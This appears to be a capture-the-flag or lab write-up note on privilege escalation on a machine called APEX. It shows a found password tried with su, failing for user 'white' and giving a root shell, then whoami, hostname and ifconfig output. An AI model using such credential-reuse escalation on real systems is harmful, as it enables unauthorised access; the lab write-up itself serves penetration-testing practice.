Apex_Privilege_Escalation

Password Reuse

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Checking for password reuse, thedoctor, after performing a manual enumeration

white User

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www-data@APEX:/$ su white
Password: thedoctor
su: Authentication failure

Failed for the white user

root Account

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www-data@APEX:/$ su root
Password: thedoctor
root@APEX:/#
root@APEX:/# whoami
root
root@APEX:/# hostname
APEX
root@APEX:/# ifconfig
ens192: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.196.145  netmask 255.255.255.0  broadcast 192.168.196.255
        ether 00:50:56:9e:56:a6  txqueuelen 1000  (Ethernet)
        RX packets 19875  bytes 4582211 (4.5 MB)
        RX errors 0  dropped 24  overruns 0  frame 0
        TX packets 1966  bytes 432946 (432.9 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
 
lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0x10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 548  bytes 40284 (40.2 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 548  bytes 40284 (40.2 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

System Level Compromise